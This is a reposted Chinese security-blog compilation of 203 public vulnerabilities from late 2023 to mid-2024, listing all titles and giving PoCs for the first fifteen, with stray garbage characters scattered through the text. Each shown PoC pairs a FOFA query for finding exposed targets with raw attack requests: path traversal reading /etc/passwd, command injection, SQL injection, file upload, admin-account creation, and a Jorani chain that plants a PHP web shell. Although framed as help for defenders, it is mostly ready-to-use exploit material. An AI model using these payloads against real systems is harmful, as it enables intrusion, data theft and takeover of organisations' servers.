互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
2 _5 n; X7 I% d; ]道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

& c. r1 }& Q1 `发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

% k* G8 M) @) o  r漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
( q3 x- S6 j# W4 y1 a% T  q! X
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

8 |! R7 Z2 c; z( h9 }. R合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
0 D* j# B$ O$ j" Q( Y

声明
" d* k5 n6 X: q) L( X1 o( H. A
+ w0 m. w* v- L7 H为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
* C$ e# x9 u: \, j5 @" R4 @* b
0 b4 K$ a7 s. L* \0 y2 y) T% w
' @" }8 @* Y/ z, X6 R% m- r
目录

01
1 u: \2 F' [* q6 P- C3 \: Z
( q1 w' e& j% |2 l; e9 v* s1. StarRocks MPP数据库未授权访问
9 V7 M9 K: ]. h0 A2. Casdoor系统static任意文件读取
! L7 X$ j  m1 z3 }3. EasyCVR智能边缘网关 userlist 信息泄漏
/ \# G. |* F( s* d1 t: J7 Q4. EasyCVR视频管理平台存在任意用户添加
) K& l* M1 e  E; |5 V5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
4 ?- |* H0 I& x- G7 A8 L, l  k" F- }6 h7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
0 V! _8 M# c7 a$ \9. 稻壳CMS keyword 未授权SQL注入
0 }. `3 G& M+ ]" n& \' U10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
* U9 W% H+ {4 {9 H- e6 E11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
" j! d+ s: a) [/ [, U, t12. Jorani < 1.0.2 远程命令执行
# T4 D1 ]2 g2 Y& q5 r& R, P$ J13. 红帆iOffice ioFileDown任意文件读取
4 ~/ r( h* g# q& |0 h# V14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
/ h- y1 c: W, U16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
$ q) t/ A7 C- T20. 大华ICC智能物联综合管理平台任意文件读取
5 S  I% c, c" l, B' S1 B21. 大华ICC智能物联综合管理平台random远程代码执行
( Z6 R$ u  b" s- m8 w22. 大华ICC智能物联综合管理平台 log4j远程代码执行
& Y# i' g9 }( J- Z2 e23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
( y" A& A! ?" a% j6 R8 d/ f: ?24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
+ U2 s4 a: F/ i8 T7 C- K28. 用友NC grouptemplet 任意文件上传
& @! {! g) u' c1 q0 |, g29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
% K: @. i, n7 A1 Y( I* \31. 用友NC runStateServlet SQL注入
* q4 j9 n- d8 b8 H% H" s32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
( A' v$ o9 S' ?. n' s34. 用友NC warningDetailInfo接口SQL注入
) D4 w+ N: s5 ?35. 用友NC-Cloud importhttpscer任意文件上传
" _% y6 |7 V5 f# y( R  K- M+ i36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
: Z$ v# g' J( t' ~1 N4 h) j; q8 q38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
7 s, x9 B- A6 S, S& o/ A) F40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
+ V5 N, M( P* E& c! @4 V! v42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
! O& q! O) |; d+ {( B3 R1 s* W49. 用友U8 CRM系统uploadfile.php接口任意文件上传
# A, L2 J/ N" S. m50. QDocs Smart School 6.4.1 filterRecords SQL注入
3 n6 q/ L- h6 p2 V% s51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
7 v% B( Z7 \" _! Y53. 迪普 DPTech VPN Service 任意文件上传
1 w* Z$ y: t7 c, i2 q6 S54. 畅捷通T+ getstorewarehousebystore 远程代码执行
7 r: p( s- I$ b: h55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
3 e; v% k# @4 q% \" ?2 v- N59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
+ `, j/ x) {# x% I* x) S60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
$ e7 I! x6 w9 ]& n4 F62. IP-guard WebServer 远程命令执行
7 P7 I  p% q2 W; N, B63. IP-guard WebServer任意文件读取
& g* m+ L& _* g% F7 B64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
& V! a$ U9 \+ J9 k1 j- U' C: L/ r66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
  G" z  A$ O. ~% S" b2 v, j+ b67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
1 ^2 O3 M2 \2 Z' f73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
. g. l, K6 d- f1 E3 [+ X; ?' L76. 新开普掌上校园服务管理平台service.action远程命令执行
5 L, Q$ J0 q8 C5 y77. F22服装管理软件系统UploadHandler.ashx任意文件上传
5 q/ w* A4 Y1 u# h8 k! a8 }5 a78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
% t/ S" A: g: D79. BYTEVALUE 百为流控路由器远程命令执行
- M* a5 [( Y) ^2 y4 R) [* D/ I; s80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
' i6 G2 T6 r4 F' K& G! z3 I81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
" F: K, r) ], n3 f85. SysAid On-premise< 23.3.36远程代码执行
2 c$ y4 G: o; c9 l4 z+ X) |4 X5 E3 M86. 日本tosei自助洗衣机RCE
0 N  q4 S! D# W0 l" r, O4 b4 B87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
) v9 U+ K6 F4 C90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
7 F4 `0 s. w* `" c91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
- D1 F. A6 a" k92. 海康威视运行管理中心session命令执行
, L. x- ?6 d$ }) ?93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
4 ^7 ?" ~  c! H  K& ~" \: `95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
" p" }5 }7 O. n2 C1 z96. Apache OFBiz  18.12.11 groovy 远程代码执行
2 F1 e0 C5 X$ i. a. o7 D97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
. L4 w  G0 ?! T6 q( R98. SpiderFlow爬虫平台远程命令执行
3 g1 t' l6 e! E; `99. Ncast盈可视高清智能录播系统busiFacade RCE
: t' `9 [9 ?( A4 E2 [, ~: G100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
, }1 t* n* Q/ m  J* \  h101. ivanti policy secure-22.6命令注入
; o/ n" \4 C2 _0 z102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
% J7 B. w2 B/ |105. SpringBlade v3.2.0 export-user SQL 注入
! X" \2 Z1 M7 b  G4 B106. SpringBlade dict-biz/list SQL 注入
2 d- T8 W% F) J5 O& v107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
9 _% w6 A# O, m. i* V  ?1 K110. Goanywhere MFT 未授权创建管理员
0 C1 F- g3 F+ T* w) l* F$ x6 q111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
6 c' ^& D6 m, v  q( d7 ]& ?115. WordPress Bricks Builder <= 1.9.6 RCE
( v/ d! b) F8 P( g116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
  b1 ^& I. |2 i! `119. 北京百绰智能S20后台sysmanageajax.php sql注入
! b# k9 H0 x% U! |% A  m120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
1 r" V: [' p. ]; t0 Z( t& j" F124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
7 ?, Q. ?9 X( t127. 广联达Linkworks DataExchange.ashx XXE
6 G$ M4 y) \( v128. Adobe ColdFusion 反序列化
! w8 C7 e+ N' q8 T$ p129. Adobe ColdFusion 任意文件读取
  M9 ~0 ~6 I, P3 G& f130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
) T8 w* [1 t8 v* ^132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
& `! Z, a1 Q% I3 m1 L6 a136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
& i3 m8 m# ~+ _7 Q" z8 q4 F140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
7 ~1 H2 w1 {% ?  I) O8 J& c8 i* @+ }9 [143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
  d" C5 b  R; K  g0 l: \147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
  }8 k1 ^; H) P2 Z153. gradio任意文件读取
6 ~' j7 E* Q2 b1 k: S- z154. 天维尔消防救援作战调度平台 SQL注入
' `5 i# D' b+ I155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
+ [: v  O. @: x7 L6 p158. Mura-CMS-processAsyncObject存在SQL注入
  a6 S' ^  t$ k  m9 P% s159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
& k7 z5 Z, B8 u( e9 c# A; D) W162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
* I! s& K3 `3 U$ i5 G  c9 L" G165. OrangeHRM 3.3.3 SQL 注入
) a2 ^* i/ ^9 n- ]/ |8 z166. 中成科信票务管理平台SeatMapHandler SQL注入
4 L( \: }: R3 i- Y* Q/ m2 W: ]167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
6 H- m1 Y; j( ~2 z$ ~171. 通天星CMSV6车载定位监控平台 SQL注入
! x& f( M0 {. V* U5 e( `172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
# [0 \* n% S% P! ^, N5 G! x176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
# V9 Z8 N$ J0 Q* Z5 K4 d# p178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
% @4 u: w, @2 t) }8 I/ x: H180. 帮管客 CRM jiliyu SQL注入
; @- y0 r* e8 W4 B3 Y( r, a# {( [8 J181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
) v3 n2 j0 u: Y183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
% `6 J+ N" ~$ k0 u$ _) B4 i) P185. 瑞友天翼应用虚拟化系统SQL注入
) g/ m5 N5 \+ ~. \; x186. F-logic DataCube3 SQL注入
$ ^! F  D. G- f3 _8 N187. Mura CMS processAsyncObject SQL注入
! F. Z) L3 f5 N+ q. Y& {188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
5 X; C/ f+ t; S, v: V192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
, w1 n0 n( c/ |- Z, N( }# d# D197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
# l7 ^+ O1 F( e4 V: Q; ~198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
* }  x. u/ S* K1 b/ f200. SeaCMS海洋影视管理系统dmku SQL注入
. ^  M: T5 ~7 f' t0 x4 s201. 方正全媒体新闻采编系统 binary SQL注入
& n! D( U3 J. b202. 微擎系统 AccountEdit任意文件上传
+ o  l' |; q7 `203. 红海云EHR PtFjk 文件上传

POC列表
$ ]  {8 E+ I/ z3 s/ e
5 m' t* Q! z5 C7 y. ?02
5 T$ j7 H+ v) t0 T4 b
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL
" X: S" a3 H9 i( a1 q+ i

1 E7 W/ Q; G: j' ^9 `2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
  H! E5 c* ^, cUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
7 R  i  q, [% s' f2 |Accept: */*
Accept-Language: en
; O8 f  i$ }4 Z1 L. `Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
" Y' L3 g4 Y1 uGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
7 B7 ?+ u( {3 C' k0 ]# \Host: xx.xx.xx.xx


4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
/ J. |! S, Y- n( W8 t
" j: }; j: q5 h0 G: _9 u$ zpassword更改为自己的密码md5
2 P3 U! h4 z7 ^. S8 m! V6 t" o  j: oPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
" S$ O- P' R9 ~2 A( z
& c4 o1 n$ D' U+ Yname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

6 x. i! W. |$ w+ M9 d! E
6 T& a7 A) b- y$ y. z5. NUUO NVR 视频存储管理设备远程命令执行
# n  D9 e5 U' K( ]3 qFOFA：title="Network Video Recorder Login"
! _" t% H: }" \4 _, d$ x' ~GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
/ p) b- J! i" n  j2 t" wHost: xx.xx.xx.xx
5 S0 ?" \  V" _# a

6. 深信服 NGAF 任意文件读取
6 I: C! }. t1 mFOFA：title="SANGFOR | NGAF"
& K. p' I! |0 c5 V# DGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
' g, b5 T; D. ]+ L6 VHost:

" \: k2 t$ l1 v2 }+ x" c
9 s) \* ~" q5 p0 n# |$ U7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
  Q6 \" D  [6 vGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
# k9 N5 t8 {/ [6 G' a1 qHost:

7 [. J+ @( s# {7 y
8. 斐讯 Phicomm 路由器RCE
7 X  E- O. `9 c0 V1 i; @. J$ FFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
- Q/ l  b* f7 Q7 J* e8 c. UHost: x.x.x.x
6 {6 K' ~  d0 d& G' a4 J( ?Cookie: sysauth=第一步登录获取的cookie
$ {  n. W3 c3 l+ u& m8 T8 B2 RContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
% }" U) n6 k. `Content-Disposition: form-data; name="wifiRebootEnablestatus"
3 Q* s4 M0 P$ a# y- \3 G8 n9 v
. t! D3 k7 Z( R* _% n%s
' _0 C# X. x% d8 ?' |3 U2 b, F------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

9 G6 u5 t0 S' z* \+ k; R( Q12:00; id;
7 c$ u; _& l; \------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

9 k" W& f& j# T. P%s:
/ w3 }* G  C. K------WebKitFormBoundaryxbgjoytz
* P" D0 y' @3 `6 g  T; ~" qContent-Disposition: form-data; name="cururl2"
) K5 s9 J. B2 C: M) Q7 K" Q
2 k' r0 z) y( |5 g: d0 A
& y4 F& l: D; W  ^+ C/ [2 E------WebKitFormBoundaryxbgjoytz--

/ P. s- y7 u, V* H: R& m4 A$ \
$ J; b. w$ p. n7 |  K: N9. 稻壳CMS keyword 未授权SQL注入
( p7 b0 h' N$ @5 b7 i( |' B: BFOFA：app="Doccms"
" S3 M8 ?1 i1 mGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x


payload为下列语句的二次Url编码
+ ^( `# Z1 y' W8 s  j# l
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
$ \% o1 e7 ^& t7 G1 ]: u- P/ z
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
  w" a( P; ?& _! Y+ i6 XFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
- ?) c  a4 A' F1 \% f* ]POST /eis/service/api.aspx?action=saveImg HTTP/1.1
- H8 S. I7 y# `$ g/ z9 }Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
& x$ Q+ |  e. u. E* ^- g1 QContent-Length: 197
& @8 B, D1 f  B9 M2 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
+ m0 M) h; m4 Z* dAccept-Language: zh-CN,zh;q=0.9
& E- |  P$ F! R/ o2 ^' E/ GConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

+ g( {" t' R& \+ W4 Y------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
$ F( N8 J" U* M4 z1 f8 L( n# jContent-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

- s$ m& K3 w; a4 Y5 ^% ~' U
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
! X- G6 I; s; \( qGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
0 h* q" w& d. P+ z. T3 z$ uHost: 127.0.0.1
2 E" q. v, E1 B; v+ y2 b  O: Z( ePragma: no-cache
+ A. e$ r6 y- z1 Y; o# }" Y" B. cCache-Control: no-cache
# z, o$ i, B0 x/ NUpgrade-Insecure-Requests: 1
1 D- h6 U" K2 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
; {+ e0 z; _. r9 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
% k8 r. C" M/ S$ e. y3 k9 U  I! PConnection: close


12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
, ~: o$ [4 P% N- B. W$ P" t第一步先拿到cookie
7 Q$ @4 B, Y! O1 s+ h1 Z0 p5 DGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
% |: D% f8 O8 k- ?Connection: close
8 X/ N% F+ y" M" o; AAccept-Encoding: gzip
# Y$ E& p. ^0 F5 z: a

响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
+ }+ y' l& d2 ^1 k6 IConnection: close
% X, t" M' t& e( J3 WCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
4 s: M) O+ c4 CExpires: Thu, 19 Nov 1981 08:52:00 GMT
; W: o- M6 L& L. u% ?7 u1 ULast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
8 N1 r6 ]0 r7 q5 d  f7 G7 \1 ~
+ J+ S3 J" n  Y
! F. n6 P8 E$ Q( O9 pPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
* _' P! G# @. J5 k6 P. AHost: 192.168.190.30
0 D: n+ N  U1 ]6 D" Y4 c: R5 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
! i/ }. D7 i& c0 @2 Z; R0 w- @: k1 rContent-Length: 252
2 A! J+ ~" a' ~6 `/ C: S- F  FContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
% B! t4 f- J- `" p5 B- ^3 |7 j0 k) Z* CAccept-Encoding: gzip

9 R$ P% P. h! ~* H9 ]% D- ?csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



# T7 w  c& |+ U5 i6 ]( ]& e- B; t向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
# B% i* n& \8 F7 a# MGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
# Y$ P2 M! v1 p" M/ w4 ]1 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
6 c( Q/ p0 U1 V  e% t% {Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
+ I$ T* u, _/ t* m$ o7 J( oX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

4 t8 d8 N9 `, o% q
0 ^! |; i4 G5 g  C13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
, e1 J7 t0 j6 ]# `' |+ c7 ]# o- TGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
& @1 h, x9 w6 V) [7 x  ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
0 x. w* ~0 f! J% cConnection: close
/ Q- q( L1 K5 ?, e7 O: s8 v3 C4 UAccept: */*
$ ?9 d6 s9 i, z/ @Accept-Encoding: gzip
2 Y- \2 D9 N6 l7 j2 B

  U" n7 Z/ [8 N9 U% D, Q5 X14. 华夏ERP（jshERP）敏感信息泄露
3 v. s3 \8 O# s0 w" J. Y1 i+ j6 GFOFA：body="jshERP-boot"
) d1 h4 K' [9 Z% R; Y& s+ |泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
/ j) A' v) d" J/ }/ t0 B1 K! DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
. x( \  `' Q  Y* H; ~/ [1 eAccept: */*
5 `  \' d0 f# DAccept-Language: en
7 R# {6 H6 w- L. j6 g; @6 F! S! KAccept-Encoding: gzip
% m& P! K2 K- ^- [) c8 Z
* r& C3 x' w: h, ~. I( J
15. 华夏ERP getAllList信息泄露
  |2 |  k2 X# gCVE-2024-0490
FOFA：body="jshERP-boot"
6 _2 I$ q" e8 a: {5 g* W  }  |泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
4 U" l$ Y+ M% \/ HHost: 192.168.40.130:100
